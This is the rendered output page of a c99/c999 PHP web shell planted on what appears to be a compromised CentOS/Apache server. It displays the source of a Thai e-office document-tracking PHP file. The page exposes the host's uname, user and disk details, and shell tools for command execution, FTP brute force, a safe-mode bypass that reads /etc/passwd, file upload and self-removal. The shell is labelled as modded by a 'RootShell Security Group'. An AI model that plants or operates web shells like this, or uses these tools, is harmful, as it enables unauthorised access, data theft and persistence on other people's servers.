!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eoffice/admin/   drwxr-xr-x
Free 52.23 GB of 127.8 GB (40.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     sendReceiveDoc_c2.php (7.1 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
include_once 
"../link/function.php";
include_once 
"funct.php";
include_once 
"../link/keyThai.php";
include_once 
"../class/clsSendReceive.php";
include_once 
"../link/functionshow.php";
include_once 
"../class/clsDocLinePosition.php";
include_once 
"../class/clsDocLineConfig.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsDocSpeedLevel.php";
include_once 
"../class/clsDocSecreLevel.php";
include_once 
"../class/clsCollegeDetail.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$InputThai=$oSys->SearchByInputThai();
$oDP = new Department($oC);
$oTsr = new sendreceive($oC);
$oTsr2 = new sendreceive($oC);
$oTsr3 = new sendreceive($oC);
$oDlc = new DocLineConfig($oC);
$oDlc2 = new DocLineConfig($oC);
$oDlc3 = new DocLineConfig($oC);
$oDlc4 = new DocLineConfig($oC);
$oDlp = new docLinePosition($oC);
$oDlp1 = new docLinePosition($oC);
$oDlp2 = new docLinePosition($oC);
$oDsl = new DocSpeedLevel($oC);
$oDcl = new DocSecretLevel($oC);
$oDsl2 = new DocSpeedLevel($oC);
$oDcl2 = new DocSecretLevel($oC);
$oCd = new collegedetail($oC);
$oCd2 = new collegedetail($oC);

$MaxDocGroup=$oDP->SearchMaxDocGroup();
echo 
'fffffffffffffffffffffffffffffffffffff';
if(
$DLCID && $one_position!="1"){ include_once "selectposition.php";
                echo 
'ddddddddddd';
                   
$oDlc->SearchByKey($DLCID); $oDlc->GetRecord();            
                   
$checkcan=SearchSendAll_receive($oDlc->DlpID);
                echo 
'rrrrrr';
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<table  width="100%"  align="center">
<tr><td >
<fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="sendReceiveDoc_c.php">การติดตามหนังสือรับอิเล็กทรอนิกส์</a>
    </font></legend>
        <form name="gg"  METHOD="POST" action="processReSendDocSR.php">
      <table align="center" width="98%" >
        <tr>
            <td width="68%" height="25"><img src="../picture/search_ico.gif" alt=""  border="0" > 
              <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="3"><strong> 
              การติดตามหนังสือรับอิเล็กทรอนิกส์</strong></font> </td>
          <td width="5%" align="right">&nbsp;</td>
            <td width="27%" align="right" ><? if($checkcan=='All' && $oSys->sendAllNode=='Y'){ ?><a onClick = "showprogramX()" style="cursor:pointer;"><font color="#000066">[<img src="../picture/download.gif"> 
              เริ่มดาวน์โหลดเอกสาร]<? }?></font></a></td>
        </tr>
        <tr>
          <td colspan="3"><hr color="#000099"></hr>
          </td>
        </tr>
      </table>
        <br>
      <table width="99%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse"  background="<? if($DtID=="6" || $DtID=="7" || $DtID=="9"){ echo "../picture/table_header_bg2.gif"; }else{ echo "../picture/table_header_bg.gif";  }?>">
      <tr height=22>
              <td width="15%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>ที่</strong></font></td>
      <td width="15%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>ลงวันที่</strong></font></td>
      <td width="29%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>เรื่อง (จาก)</strong></font></td>
      <td width="15%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>วันที่รับหนังสือ</strong></font></td>
      <td width="3%" align="center"><img src="../picture/rapid0.jpg" alt=""  border="0" ></td>
          <td width="3%" align="center"><img src="../picture/secret0.jpg" alt=""  border="0" ></td>
        <td width="19%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>สถานะ</strong></font></td>  
    
      </table>
        <table width="99%" align="center" border=0 cellpadding="0" cellspacing="0" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_13'];?>"  height="22">
        <? if($i=="0"){?>
          <tr height=22><td align="center" bgcolor="#FFFFFF"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">** ไม่มีรายการหนังสือรับภายนอก **</font></td></tr>
          <? }  ?>
       <tr height=22><td align="right">&nbsp;</td></tr>
       <tr height=22 bgcolor="#FFFFFF">
          <td colspan="4" valign="bottom"><br>
          <hr color="#000099"></hr></td>
        </tr>
      </table> 
      </form>
      <form name="ff"  METHOD="POST">
      <? if($monthe==""){  $monthe=Date('m'); } if($searchYear==""){  $searchYear=Date('Y')+543; }  //echo "month=".$monthe."&nbsp;"."Year=".$searchYear;?>
        <table  width="100%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse">
          <tr height=27 bgcolor="#FFFFFF" > 
            <td align="left" >&nbsp;</td>
          </tr>
        </table>
        <input type="hidden" name="flagshow"  value="<? echo $flagshow?>">    
      </form>
      <br>
      </fieldset> 
      <table width="99%" border="0" align="center">
        <tr> 
          <td width="134" align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp;<strong>หมายเหตุ 
            : </strong>&nbsp;</font></td>
          <td width="1070" align="left"> <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">คลิกที่เรื่องหนังสือเพื่อดูรายละเอียดหนังสือ</font></td>
        </tr>        
      </table>
</td>
</tr>
</table>
</body>
</html>
<? }else{ include_once "unselectposition.php"; } ?>
<script language="javascript">
function showDoc(){
    document.ff.submit();
}
function up_downList(status){    
    if(status=='up'){
        closeshow.style.display='';
        openshow.style.display='none';
        showtable.style.display='';
    }else{
        openshow.style.display='';
        closeshow.style.display='none';
        showtable.style.display='none';
    }
}
function On_Month(){
      searchYear=document.ff.searchYear.value;
      if (searchYear=="") {
      alert('กรุณากรอกปี');
      document.ff.searchYear.focus();
      return false ;
   }
    document.ff.flagshow.value=1;
    document.ff.submit();
}
function On_Year(DLCID,MaxDocGroup,DlcPS2){
    searchYear=document.ff.searchYear.value;
    if (searchYear.length == 4) {
            document.ff.flagshow.value=1;
            document.ff.submit();
    }
}
function changeS2(){
        if(document.ff.searchName.value==""){
            document.ff.searchName.value="";
        }
        if(document.ff.searchNo.value==""){
            document.ff.searchNo.value="";
        }    
        document.ff.submit();
}
function goAccept(a,type,dlcid){
        if(type=='yes'){
            var agree=confirm("คุณต้องการลงทะเบียนหนังสือฉบับนี้แน่นอนใช่หรือไม่ ?");
        }else if(type=='no'){
            var agree=confirm("คุณต้องการไม่ลงทะเบียนหนังสือฉบับนี้แน่นอนใช่หรือไม่ ?");
        }
        if (agree){
            if(type=='yes'){
                window.location.href="processReceiveDocSR.php?tsr_id="+a+"&p=1&DlcID="+dlcid;
            }else if(type=='no'){
                window.location.href="processReceiveDocSR.php?tsr_id="+a+"&p=0&DlcID="+dlcid;
            }
            return true;
        }else{
            return false ;
        }
}
 function showprogramX(){ 
             FileName = "programX.php";
            var w=500;  
            var h=200;
            strOption = "scrollbars=yes,left=370,top=100,menubar=1,status=1, width=" + w + ",height=" + h;
            window.open(FileName,"",strOption);
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0066 ]--